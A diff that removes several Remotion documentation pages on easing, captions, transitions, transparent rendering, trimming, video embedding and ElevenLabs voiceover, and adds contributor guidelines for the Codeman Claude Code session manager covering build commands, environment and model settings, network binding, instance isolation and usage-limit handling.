-});
-```
-
-Cubic bezier curves are also supported:
-
-```ts
-const value1 = interpolate(frame, [0, 100], [0, 1], {
-  easing: Easing.bezier(0.8, 0.22, 0.96, 0.65),
-  extrapolateLeft: "clamp",
-  extrapolateRight: "clamp",
-});
-```

-To transcribe audio to generate captions in Remotion, you can use the [`transcribe()`](https://www.remotion.dev/docs/install-whisper-cpp/transcribe) function from the [`@remotion/install-whisper-cpp`](https://www.remotion.dev/docs/install-whisper-cpp) package.
-
-## Prerequisites
-
-First, the @remotion/install-whisper-cpp package needs to be installed.
-If it is not installed, use the following command:
-
-```bash
-npx remotion add @remotion/install-whisper-cpp
-```
-
-## Transcribing
-
-Make a Node.js script to download Whisper.cpp and a model, and transcribe the audio.
-
-```ts
-import path from "path";
-import {
-  downloadWhisperModel,
-  installWhisperCpp,
-  transcribe,
-  toCaptions,

-
-// Convert the audio to a 16KHz wav file first if needed:
-// import {execSync} from 'child_process';
-// execSync('ffmpeg -i /path/to/audio.mp4 -ar 16000 /path/to/audio.wav -y');
-
-const whisperCppOutput = await transcribe({
-  model: "medium.en",
-  whisperPath: to,
-  whisperCppVersion: "1.5.5",
-  inputPath: "/path/to/audio123.wav",
-  tokenLevelTimestamps: true,
-});
-
-// Optional: Apply our recommended postprocessing
-const { captions } = toCaptions({
-  whisperCppOutput,
-});
-
-// Write it to the public/ folder so it can be fetched from Remotion
-fs.writeFileSync("captions123.json", JSON.stringify(captions, null, 2));
-```
-
-Transcribe each clip individually and create multiple JSON files.
-
-See [Displaying captions](display-captions.md) for how to display the captions in Remotion.

-`<TransitionSeries>` arranges scenes and supports two ways to enhance the cut point between them:
-
-- **Transitions** (`<TransitionSeries.Transition>`) — crossfade, slide, wipe, etc. between two scenes. Shortens the timeline because both scenes play simultaneously during the transition.
-- **Overlays** (`<TransitionSeries.Overlay>`) — render an effect (e.g. a light leak) on top of the cut point without shortening the timeline.

-
-## Overlay example
-
-Any React component can be used as an overlay. For a ready-made effect, see the **light-leaks** rule.
-
-```tsx
-import { TransitionSeries } from "@remotion/transitions";
-import { LightLeak } from "@remotion/light-leaks";
-
-<TransitionSeries>
-  <TransitionSeries.Sequence durationInFrames={60}>
-    <SceneA />
-  </TransitionSeries.Sequence>
-  <TransitionSeries.Overlay durationInFrames={20}>
-    <LightLeak />
-  </TransitionSeries.Overlay>
-  <TransitionSeries.Sequence durationInFrames={60}>
-    <SceneB />
-  </TransitionSeries.Sequence>
-</TransitionSeries>;
-```
-
-## Mixing transitions and overlays
-
-Transitions and overlays can coexist in the same `<TransitionSeries>`, but an overlay cannot be adjacent to a transition or another overlay.
-
-```tsx
-import { TransitionSeries, linearTiming } from "@remotion/transitions";
-import { fade } from "@remotion/transitions/fade";
-import { LightLeak } from "@remotion/light-leaks";
-
-<TransitionSeries>
-  <TransitionSeries.Sequence durationInFrames={60}>
-    <SceneA />
-  </TransitionSeries.Sequence>
-  <TransitionSeries.Overlay durationInFrames={30}>
-    <LightLeak />
-  </TransitionSeries.Overlay>
-  <TransitionSeries.Sequence durationInFrames={60}>
-    <SceneB />
-  </TransitionSeries.Sequence>
-  <TransitionSeries.Transition
-    presentation={fade()}
-    timing={linearTiming({ durationInFrames: 15 })}
-  />
-  <TransitionSeries.Sequence durationInFrames={60}>
-    <SceneC />
-  </TransitionSeries.Sequence>
-</TransitionSeries>;
-```
-
-## Transition props
-
-`<TransitionSeries.Transition>` requires:
-
-- `presentation` — the visual effect (e.g. `fade()`, `slide()`, `wipe()`).
-- `timing` — controls speed and easing (e.g. `linearTiming()`, `springTiming()`).
-
-## Overlay props
-
-`<TransitionSeries.Overlay>` accepts:
-
-- `durationInFrames` — how long the overlay is visible (positive integer).
-- `offset?` — shifts the overlay relative to the cut point center. Positive = later, negative = earlier. Default: `0`.
-
-## Available transition types
-
-Import transitions from their respective modules:
-
-```tsx
-import { fade } from "@remotion/transitions/fade";
-import { slide } from "@remotion/transitions/slide";
-import { wipe } from "@remotion/transitions/wipe";
-import { flip } from "@remotion/transitions/flip";
-import { clockWipe } from "@remotion/transitions/clock-wipe";
-```
-
-## Slide transition with direction
-
-```tsx
-import { slide } from "@remotion/transitions/slide";
-
-<TransitionSeries.Transition
-  presentation={slide({ direction: "from-left" })}
-  timing={linearTiming({ durationInFrames: 20 })}
-/>;
-```
-
-Directions: `"from-left"`, `"from-right"`, `"from-top"`, `"from-bottom"`
-
-## Timing options
-
-```tsx
-import { linearTiming, springTiming } from "@remotion/transitions";
-
-// Linear timing - constant speed
-linearTiming({ durationInFrames: 20 });
-
-// Spring timing - organic motion
-springTiming({ config: { damping: 200 }, durationInFrames: 25 });
-```
-
-## Duration calculation
-
-Transitions overlap adjacent scenes, so the total composition length is **shorter** than the sum of all sequence durations. Overlays do **not** affect the total duration.
-
-For example, with two 60-frame sequences and a 15-frame transition:
-
-- Without transitions: `60 + 60 = 120` frames
-- With transition: `60 + 60 - 15 = 105` frames
-
-Adding an overlay between two other sequences does not change the total.
-
-### Getting the duration of a transition
-
-Use the `getDurationInFrames()` method on the timing object:
-
-```tsx
-import { linearTiming, springTiming } from "@remotion/transitions";
-
-const linearDuration = linearTiming({
-  durationInFrames: 20,
-}).getDurationInFrames({ fps: 30 });
-// Returns 20
-
-const springDuration = springTiming({
-  config: { damping: 200 },
-}).getDurationInFrames({ fps: 30 });
-// Returns calculated duration based on spring physics
-```
-
-For `springTiming` without an explicit `durationInFrames`, the duration depends on `fps` because it calculates when the spring animation settles.
-
-### Calculating total composition duration
-
-```tsx
-import { linearTiming } from "@remotion/transitions";
-
-const scene1Duration = 60;
-const scene2Duration = 60;
-const scene3Duration = 60;
-
-const timing1 = linearTiming({ durationInFrames: 15 });
-const timing2 = linearTiming({ durationInFrames: 20 });
-
-const transition1Duration = timing1.getDurationInFrames({ fps: 30 });
-const transition2Duration = timing2.getDurationInFrames({ fps: 30 });
-
-const totalDuration =
-  scene1Duration +
-  scene2Duration +
-  scene3Duration -
-  transition1Duration -
-  transition2Duration;
-// 60 + 60 + 60 - 15 - 20 = 145 frames
-```

-# Rendering Transparent Videos
-
-Remotion can render transparent videos in two ways: as a ProRes video or as a WebM video.
-
-## Transparent ProRes
-
-Ideal for when importing into video editing software.
-
-**CLI:**
-
-```bash
-npx remotion render --image-format=png --pixel-format=yuva444p10le --codec=prores --prores-profile=4444 MyComp out.mov
-```
-
-**Default in Studio** (restart Studio after changing):
-
-```ts
-// remotion.config.ts
-import { Config } from "@remotion/cli/config";
-
-Config.setVideoImageFormat("png");
-Config.setPixelFormat("yuva444p10le");
-Config.setCodec("prores");
-Config.setProResProfile("4444");
-```
-
-**Setting it as the default export settings for a composition** (using `calculateMetadata`):
-
-```tsx
-import { CalculateMetadataFunction } from "remotion";
-
-const calculateMetadata: CalculateMetadataFunction<Props> = async ({
-  props,
-}) => {
-  return {
-    defaultCodec: "prores",
-    defaultVideoImageFormat: "png",
-    defaultPixelFormat: "yuva444p10le",
-    defaultProResProfile: "4444",
-  };
-};
-
-<Composition
-  id="my-video"
-  component={MyVideo}
-  durationInFrames={150}
-  fps={30}
-  width={1920}
-  height={1080}
-  calculateMetadata={calculateMetadata}
-/>;
-```
-
-## Transparent WebM (VP9)
-
-Ideal for when playing in a browser.
-
-**CLI:**
-
-```bash
-npx remotion render --image-format=png --pixel-format=yuva420p --codec=vp9 MyComp out.webm
-```
-
-**Default in Studio** (restart Studio after changing):
-

-// remotion.config.ts
-import { Config } from "@remotion/cli/config";
-
-Config.setVideoImageFormat("png");
-Config.setPixelFormat("yuva420p");
-Config.setCodec("vp9");
-```

-metadata:
-  tags: sequence, trim, clip, cut, offset
----
-
-Use `<Sequence>` with a negative `from` value to trim the start of an animation.
-
-## Trim the Beginning
-
-A negative `from` value shifts time backwards, making the animation start partway through:
-
-```tsx
-import { Sequence, useVideoConfig } from "remotion";
-
-const fps = useVideoConfig();
-
-<Sequence from={-0.5 * fps}>
-  <MyAnimation />
-</Sequence>;
-```
-
-The animation appears 15 frames into its progress - the first 15 frames are trimmed off.
-Inside `<MyAnimation>`, `useCurrentFrame()` starts at 15 instead of 0.
-
-## Trim the End
-
-Use `durationInFrames` to unmount content after a specified duration:
-
-```tsx
-<Sequence durationInFrames={1.5 * fps}>
-  <MyAnimation />
-</Sequence>
-```
-
-The animation plays for 45 frames, then the component unmounts.
-
-## Trim and Delay
-
-Nest sequences to both trim the beginning and delay when it appears:
-
-```tsx
-<Sequence from={30}>
-  <Sequence from={-15}>
-    <MyAnimation />
-  </Sequence>
-</Sequence>
-```
-
-The inner sequence trims 15 frames from the start, and the outer sequence delays the result by 30 frames.

-description: Embedding videos in Remotion - trimming, volume, speed, looping, pitch
-metadata:
-  tags: video, media, trim, volume, speed, loop, pitch
----
-
-# Using videos in Remotion
-
-## Prerequisites
-
-First, the @remotion/media package needs to be installed.  
-If it is not, use the following command:
-
-```bash
-npx remotion add @remotion/media # If project uses npm
-bunx remotion add @remotion/media # If project uses bun
-yarn remotion add @remotion/media # If project uses yarn
-pnpm exec remotion add @remotion/media # If project uses pnpm
-```
-
-Use `<Video>` from `@remotion/media` to embed videos into your composition.
-
-```tsx
-import { Video } from "@remotion/media";
-import { staticFile } from "remotion";
-
-export const MyComposition = () => {
-  return <Video src={staticFile("video.mp4")} />;
-};
-```
-
-Remote URLs are also supported:
-
-```tsx
-<Video src="https://remotion.media/video.mp4" />
-```
-
-## Trimming
-
-Use `trimBefore` and `trimAfter` to remove portions of the video. Values are in seconds.
-
-```tsx
-const { fps } = useVideoConfig();
-
-return (
-  <Video
-    src={staticFile("video.mp4")}
-    trimBefore={2 * fps} // Skip the first 2 seconds
-    trimAfter={10 * fps} // End at the 10 second mark
-  />
-);
-```
-
-## Delaying
-
-Wrap the video in a `<Sequence>` to delay when it appears:
-
-```tsx
-import { Sequence, staticFile } from "remotion";
-import { Video } from "@remotion/media";
-
-const { fps } = useVideoConfig();
-
-return (
-  <Sequence from={1 * fps}>
-    <Video src={staticFile("video.mp4")} />
-  </Sequence>
-);
-```
-
-The video will appear after 1 second.
-
-## Sizing and Position
-
-Use the `style` prop to control size and position:
-
-```tsx
-<Video
-  src={staticFile("video.mp4")}
-  style={{
-    width: 500,
-    height: 300,
-    position: "absolute",
-    top: 100,
-    left: 50,
-    objectFit: "cover",
-  }}
-/>
-```
-
-## Volume
-
-Set a static volume (0 to 1):
-
-```tsx
-<Video src={staticFile("video.mp4")} volume={0.5} />
-```
-
-Or use a callback for dynamic volume based on the current frame:
-
-```tsx
-import { interpolate } from "remotion";
-
-const { fps } = useVideoConfig();
-
-return (
-  <Video
-    src={staticFile("video.mp4")}
-    volume={(f) =>
-      interpolate(f, [0, 1 * fps], [0, 1], { extrapolateRight: "clamp" })
-    }
-  />
-);
-```
-
-Use `muted` to silence the video entirely:
-
-```tsx
-<Video src={staticFile("video.mp4")} muted />
-```
-
-## Speed
-
-Use `playbackRate` to change the playback speed:
-
-```tsx
-<Video src={staticFile("video.mp4")} playbackRate={2} /> {/* 2x speed */}
-<Video src={staticFile("video.mp4")} playbackRate={0.5} /> {/* Half speed */}
-```
-
-Reverse playback is not supported.
-
-## Looping
-
-Use `loop` to loop the video indefinitely:
-
-```tsx
-<Video src={staticFile("video.mp4")} loop />
-```
-
-Use `loopVolumeCurveBehavior` to control how the frame count behaves when looping:
-
-- `"repeat"`: Frame count resets to 0 each loop (for `volume` callback)
-- `"extend"`: Frame count continues incrementing
-
-```tsx
-<Video
-  src={staticFile("video.mp4")}
-  loop
-  loopVolumeCurveBehavior="extend"
-  volume={(f) => interpolate(f, [0, 300], [1, 0])} // Fade out over multiple loops
-/>
-```
-
-## Pitch
-
-Use `toneFrequency` to adjust the pitch without affecting speed. Values range from 0.01 to 2:
-
-```tsx
-<Video
-  src={staticFile("video.mp4")}
-  toneFrequency={1.5} // Higher pitch
-/>
-<Video
-  src={staticFile("video.mp4")}
-  toneFrequency={0.8} // Lower pitch
-/>
-```
-
-Pitch shifting only works during server-side rendering, not in the Remotion Studio preview or in the `<Player />`.

----
-
-# Adding AI voiceover to a Remotion composition
-
-Use ElevenLabs TTS to generate speech audio per scene, then use [`calculateMetadata`](./calculate-metadata) to dynamically size the composition to match the audio.
-
-## Prerequisites
-
-An **ElevenLabs API key** is required (`ELEVENLABS_API_KEY` environment variable).
-
-**MUST** ask the user for their ElevenLabs API key if `ELEVENLABS_API_KEY` is not set. **MUST NOT** fall back to other TTS tools.
-
-Ensure the environment variable is available when running the generation script:
-
-```bash
-node --strip-types generate-voiceover.ts
-```
-
-## Generating audio with ElevenLabs
-
-Create a script that reads the config, calls the ElevenLabs API for each scene, and writes MP3 files to the `public/` directory so Remotion can access them via `staticFile()`.
-
-The core API call for a single scene:
-
-```ts title="generate-voiceover.ts"
-const response = await fetch(
-  `https://api.elevenlabs.io/v1/text-to-speech/${voiceId}`,
-  {
-    method: "POST",
-    headers: {
-      "xi-api-key": process.env.ELEVENLABS_API_KEY!,
-      "Content-Type": "application/json",
-      Accept: "audio/mpeg",
-    },
-    body: JSON.stringify({
-      text: "Welcome to the show.",
-      model_id: "eleven_multilingual_v2",
-      voice_settings: {
-        stability: 0.5,
-        similarity_boost: 0.75,
-        style: 0.3,
-      },
-    }),
-  },
-);
-
-const audioBuffer = Buffer.from(await response.arrayBuffer());
-writeFileSync(`public/voiceover/${compositionId}/${scene.id}.mp3`, audioBuffer);
-```
-
-## Dynamic composition duration with calculateMetadata
-
-Use [`calculateMetadata`](./calculate-metadata.md) to measure the [audio durations](./get-audio-duration.md) and set the composition length accordingly.
-
-```tsx
-import { CalculateMetadataFunction, staticFile } from "remotion";
-import { getAudioDuration } from "./get-audio-duration";
-
-const FPS = 30;
-
-const SCENE_AUDIO_FILES = [
-  "voiceover/my-comp/scene-01-intro.mp3",
-  "voiceover/my-comp/scene-02-main.mp3",
-  "voiceover/my-comp/scene-03-outro.mp3",
-];
-
-export const calculateMetadata: CalculateMetadataFunction<Props> = async ({
-  props,
-}) => {
-  const durations = await Promise.all(
-    SCENE_AUDIO_FILES.map((file) => getAudioDuration(staticFile(file))),
-  );
-
-  const sceneDurations = durations.map((durationInSeconds) => {
-    return durationInSeconds * FPS;
-  });
-
-  return {
-    durationInFrames: Math.ceil(sceneDurations.reduce((sum, d) => sum + d, 0)),
-  };
-};
-```
-
-The computed `sceneDurations` are passed into the component via a `voiceover` prop so the component knows how long each scene should be.
-
-If the composition uses [`<TransitionSeries>`](./transitions.md), subtract the overlap from total duration: [./transitions.md#calculating-total-composition-duration](./transitions.md#calculating-total-composition-duration)
-
-## Rendering audio in the component
-
-See [audio.md](./audio.md) for more information on how to render audio in the component.
-
-## Delaying audio start
-
-See [audio.md#delaying](./audio.md#delaying) for more information on how to delay the audio start.

+# Repository Guidelines
+
+Canonical agent/contributor guidance for this repository lives in [CLAUDE.md](CLAUDE.md) —
+project structure, build/test/lint commands, code style, testing safety rules
+(never run the full suite inside a managed tmux session), security notes, and
+the deployment workflow are all maintained there. Please read it before making
+changes, and keep it the single source of truth rather than duplicating
+sections here.
+
+Quick pointers:
+
+- Type check: `tsc --noEmit` · Lint: `npm run lint` · Format: `npm run format:check`
+- Targeted tests only: `npm test -- test/<file>.test.ts` (bare `npm test` is unsafe in managed sessions)
+- Route tests use `app.inject()`; new tests needing ports must pick a unique `const PORT =`
+- Branch off `master` for all work; Conventional Commit-style messages (`fix(mobile): ...`)
+- Never commit secrets or local state from `~/.codeman/`

+The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an *absolute* URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.

 ## Project Overview
 
 Codeman is a Claude Code session manager with web interface and autonomous Ralph Loop. Spawns Claude CLI via PTY, streams via SSE, supports respawn cycling for 24+ hour autonomous runs.
 
-**Tech Stack**: TypeScript (ES2022/NodeNext, strict mode), Node.js, Fastify, node-pty, xterm.js. Supports both Claude Code and OpenCode AI CLIs via pluggable CLI resolvers.

-**TypeScript Strictness** (see `tsconfig.json`): `noUnusedLocals`, `noUnusedParameters`, `noImplicitReturns`, `noImplicitOverride`, `noFallthroughCasesInSwitch`, `allowUnreachableCode: false`, `allowUnusedLabels: false`. Note: `src/tui` is excluded from compilation (legacy/deprecated code path).

-**Default port**: `3000` (web UI at `http://localhost:3000`)
+`npm run dev` = dev server. Default port: `3000` (override with `--port` or the `CODEMAN_PORT` env var). To run this beta isolated alongside a prod Codeman, use `scripts/run-beta.sh` (sets `CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`). Commands not in Quick Reference:

+| Bind a non-loopback host | `npx tsx src/index.ts web --host 0.0.0.0` (or `-H`; env `CODEMAN_HOST`; default `127.0.0.1`). Without `CODEMAN_PASSWORD` it **starts but warns loudly** — see Common Gotchas + `docs/security-architecture.md` |

 ## Common Gotchas
 
-- **`npm run dev` is NOT the web server** — it shows CLI help. Use `npx tsx src/index.ts web`
-- **Single-line prompts only** — `writeViaMux()` sends text and Enter separately; multi-line breaks Ink
-- **Don't kill tmux sessions blindly** — Check `$CODEMAN_TMUX` first; you might be inside one
-- **Never run full test suite** — `npx vitest run` spawns/kills tmux sessions and will crash your Codeman session. Run individual test files only.
-- **Global regex `lastIndex` sharing** — `ANSI_ESCAPE_PATTERN_FULL/SIMPLE` have `g` flag; use `createAnsiPatternFull/Simple()` factory functions for fresh instances in loops
-- **DEC 2026 sync blocks** — Never discard incomplete sync blocks (START without END); buffer up to 50ms then flush. See `app.js:extractSyncSegments()`
-- **Terminal writes during buffer load** — Live SSE writes are queued while `_isLoadingBuffer` is true to prevent interleaving with historical data
-- **Local echo prompt scanning** — Does NOT use `buffer.cursorY` (Ink moves it); scans buffer bottom-up for visible `>` prompt marker
+- **Single-line prompts only** — `writeViaMux()` sends text+Enter separately; multi-line breaks Ink
+- **ESM only** — Never `require()`, use `await import()`. `tsx` masks CJS/ESM issues in dev but production breaks
+- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
+- **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
+- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift. (`GOOGLE_*` is the deliberately-broad Vertex-AI namespace for Gemini — see Multi-CLI prefix discipline.)
+- **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
+- **Model choice flows via `settings.local.json`, NOT `--model` or env** — the App Settings **Claude Model** picker (`claudeModel` in `settings.json`) is read by `session-ui.js` at session create (wins over the legacy 1M-Opus toggles `opusContext1m`/`opusContext1mEnabled`), sent as the `modelOverride` payload field, and `updateCaseModel()` (`hooks-config.ts`) writes/deletes the `model` key in `<case>/.claude/settings.local.json`. This is the intended exception to the envOverrides rule above: model legitimately lives in `settings.local.json` (a soft default — in-session `/model` still works); env vars do not
+- **Multi-CLI prefix discipline** — Codeman supports Claude Code, OpenCode, Codex, and Gemini (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts` / `codex-cli-resolver.ts` / `gemini-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `GEMINI_*`) and the `ALLOWED_ENV_PREFIXES` allowlist in `schemas.ts` enforces this. Gemini additionally allowlists the **broad `GOOGLE_*`** namespace (intentional — Vertex AI auth uses `GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc.; it's the loosest allowlist entry, affecting only the user's own spawned CLI). When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward all prefixes. See `docs/opencode-integration.md` for the resolver design pattern
+- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. Real bugs caused: 0.6.4 (`durationMinutes` for ∞ respawn), and the same shape pattern hit `opusContext1mEnabled` in 0.6.3
+- **`xterm-zerolag-input` is single-source — edit the package, then rebuild the bundle** — the local-echo overlay source lives ONLY in `packages/xterm-zerolag-input/src/` (`zerolag-input-addon.ts`; also published to npm as a standalone library — see README "Published Packages"). It is bundled (esbuild → IIFE, with appended `window.LocalEchoOverlay` aliases) into the **gitignored** `src/web/public/vendor/xterm-zerolag-input.js` by `scripts/postinstall.js` (for dev/`tsx`) and into `dist/.../vendor/` by `scripts/build.mjs` (the `xterm-zerolag-input` esbuild step, for prod). `app.js` only **consumes** it via `new LocalEchoOverlay(terminal)` — there is NO inline copy to keep in sync. So: change behavior in the package source, then re-run the bundle step (`npm install` reruns postinstall; `npm run build` for prod); **never hand-edit `app.js` for overlay behavior or commit the gitignored vendor bundle**. A public-API break in the package still warrants a separate `xterm-zerolag-input` version bump in the changeset. Always test on mobile after touching it. See `docs/local-echo-overlay-plan.md`.
+- **Default bind is loopback-only; non-loopback without a password starts but warns** — since COD-29 (PR #107) the web server defaults to `--host 127.0.0.1` (was `0.0.0.0`). As of **0.9.0** binding a non-loopback host (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **no longer refuses to start — it starts and prints a loud warning** listing the fixes (set `CODEMAN_PASSWORD`, bind loopback + tunnel/`tailscale serve`, or `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` to acknowledge → terser note). Host classification is `isLoopbackBindHost()` in `network-auth-policy.ts`; the warn-vs-start logic is in `server.ts` `start()`; flags wired in `cli.ts`. ⚠️ Operational note: the production systemd unit runs `node dist/index.js web --https` with no `--host`, so it binds **localhost only** — reach it remotely via `tailscale serve`/tunnel to `127.0.0.1`, or add `Environment=CODEMAN_HOST=0.0.0.0` + `Environment=CODEMAN_PASSWORD=…` to `~/.config/systemd/user/codeman-web.service`. A loopback bind is reachable through a same-host tunnel (cloudflared/tailscale → `127.0.0.1`) but NOT by a browser hitting the box's LAN IP. Auth user defaults to `admin`. **Full model: `docs/security-architecture.md`.**
+- **Instance isolation / multi-instance attach danger** — data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`). ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions** (`tmux -L codeman attach-session …`), resizing/mutating them — `$HOME` isolation is NOT enough (tmux is system-global). To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes BOTH dir+socket: `~/.codeman-<name>` + `-L codeman-<name>`), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually. **`CODEMAN_INSTANCE` defaults to empty = the production layout (`~/.codeman`, `-L codeman`, port 3000)**, so this branch is safe to ship to master without disturbing existing installs. To run THIS beta alongside prod, launch with `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`) — it never collides with prod's data dir/socket/port. Any new `~/.codeman/...` path MUST go through `dataPath()`, never `join(homedir(), '.codeman', …)`.
+- **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — `scripts/capture-real-overview.mjs` (drives a live session in headless Chromium → overview PNG). Two traps, both observed 2026-06-14: **(1) DSF=2 doubles the console font.** xterm's WebGL renderer draws terminal glyphs at ~2× their nominal size under `deviceScaleFactor: 2`, while STILL reporting nominal cell dims (`terminal.cols`/`_renderService.dimensions.css.cell` say 8px/187cols — they lie), so it's invisible to any internal measurement and only the pixels reveal it. The HTML chrome (header/toolbar) is unaffected → ONLY the console font looks comically large. Default to **DSF=1** (script does); the image is 1× res but the font is true-to-browser. **(2) Stable filenames → stale renders.** Overwriting a fixed path (`claude-overview.png`) in place leaves OS image viewers (eog/feh) — and any HTTP client behind a long/`immutable` cache — showing the OLD render; the user reads it as "the fix didn't work". The script now mints a timestamped `claude-overview-<ts>.png` per run. ⚠️ This was a LOCAL image-viewer cache, NOT a Codeman serving bug: `file-routes` previews send `Cache-Control: no-cache` and `/api/screenshots/:name` sends none. The one real Codeman-side footgun: `server.ts` serves non-content-hashed static assets `public, max-age=31536000, immutable`, and `cacheBustAssets()` only rewrites `.js`/`.css` refs — a stable-named **image** referenced from public/ would go stale on overwrite. Reflect the per-device UI to match a real device when capturing: seed `localStorage` `codeman:skin`, `codeman-font-size`, and the desktop `codeman-app-settings` blob (the plan-usage chip is a per-device display key deleted from the server payload — a fresh browser hides it unless seeded; close side panels for a full-width terminal).

+★ = Large, central file (>50KB) — read its `@fileoverview` first. All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.

 ### Key Patterns
 
-**Input to sessions**: Use `session.writeViaMux()` for programmatic input (respawn, auto-compact). Uses tmux `send-keys -l` (literal text) + `send-keys Enter`. All prompts must be single-line.
-
-**Terminal multiplexer**: `TerminalMultiplexer` interface (`src/mux-interface.ts`) abstracts the backend. `createMultiplexer()` from `src/mux-factory.ts` creates the tmux backend.
+**Input**: `session.writeViaMux()` for programmatic/curl input — tmux `send-keys -l` (literal) + `send-keys Enter`. Single-line only (fire-and-once). Interactive **browser** input goes through a durable **exactly-once** layer: each frame carries a stable `clientId` + monotonic per-session `seq`, persisted to localStorage until the server ACKs (`{t:'ia',seq}` over WS, or HTTP 2xx), so a dropped link/reconnect can't lose or double-deliver a prompt.
 
 **Idle detection**: Multi-layer (completion message → AI check → output silence → token stability). See `docs/respawn-state-machine.md`.
 
-**Token tracking**: Interactive mode parses status line ("123.4k tokens"), estimates 60/40 input/output split.
+**Auto-resume on usage limit** ("token pause" control, opt-in per session, top of the Respawn tab): when Claude halts on a subscription limit ("5-hour limit reached ∙ resets 8pm" and all 1.0.x–2.1.x variants), `usage-limit-patterns.ts` (pure, unit-tested) parses the reset time from cleaned output; `SessionAutoOps` arms a timer for reset+2min, then sends Esc (dismisses the rate-limit dialog) + `continue`. Still-limited responses re-arm the loop (5-min retry on stale times); a `working` transition cancels it. Claude-mode only (detection rides `_processExpensiveParsers`). Persists/recovers via `SessionState.autoResumeEnabled`/`autoResumeAt`; respawn cycles are blocked while paused (`isLimitPaused` guard in `onIdleDetected` — prevents `/clear` from wiping the paused conversation). Endpoint: `POST /api/sessions/:id/auto-resume`; SSE: `session:limitPauseScheduled`/`limitResume`/`limitResumeCancelled`. Tests: `test/usage-limit-patterns.test.ts`, `test/session-auto-resume.test.ts`.
 
-**Hook events**: Claude Code hooks trigger notifications via `/api/hook-event`. Key events: `permission_prompt` (tool approval needed), `elicitation_dialog` (Claude asking question), `idle_prompt` (waiting for input), `stop` (response complete), `teammate_idle` (Agent Teams), `task_completed` (Agent Teams). See `src/hooks-config.ts`.
+**Plan-usage chip** (statusLine telemetry, opt-in `showPlanUsageLimits`, default OFF): Claude Code (v2.1.80+) pipes a JSON blob to a configured `statusLine.command` on each render; on Pro/Max it carries a `rate_limits` object (`five_hour`/`seven_day` windows only — no Opus weekly field — each `{used_percentage 0-100, resets_at epoch-SECONDS}`). Codeman injects its OWN statusLine exporter (`generateStatusLineCommand()` in `hooks-config.ts`, identified by the `/api/status-telemetry` marker — it only ever adds/updates/removes a statusLine that is *ours*, never a user's hand-authored one) that POSTs the blob to `POST /api/status-telemetry`. That route (auth-exempt like `/api/hook-event` — localhost-only, hook-secret-gated under a tunnel) parses via `usage-telemetry.ts` (pure, unit-tested), broadcasts SSE `session:statusTelemetry` (de-duped per session by `telemetrySignature` since the statusline fires on every assistant message), and returns a compact plain-text footer for the exporter to **print-through** (so injecting our statusLine doesn't blank the in-terminal footer). `plan-usage-latest.ts` holds the process-wide last value, replayed in the SSE init snapshot (`getLightState`) so the header chip (`#planUsageChip`, toggled by `showPlanUsageLimits` in settings-ui.js) renders immediately on page load / reconnect without per-browser localStorage. Claude-mode only. **Distinct from auto-resume** (which reacts to the limit *message*; this proactively shows the live %). Design: `docs/usage-limits-display-plan.md`. Tests: `test/usage-telemetry.test.ts`.
 
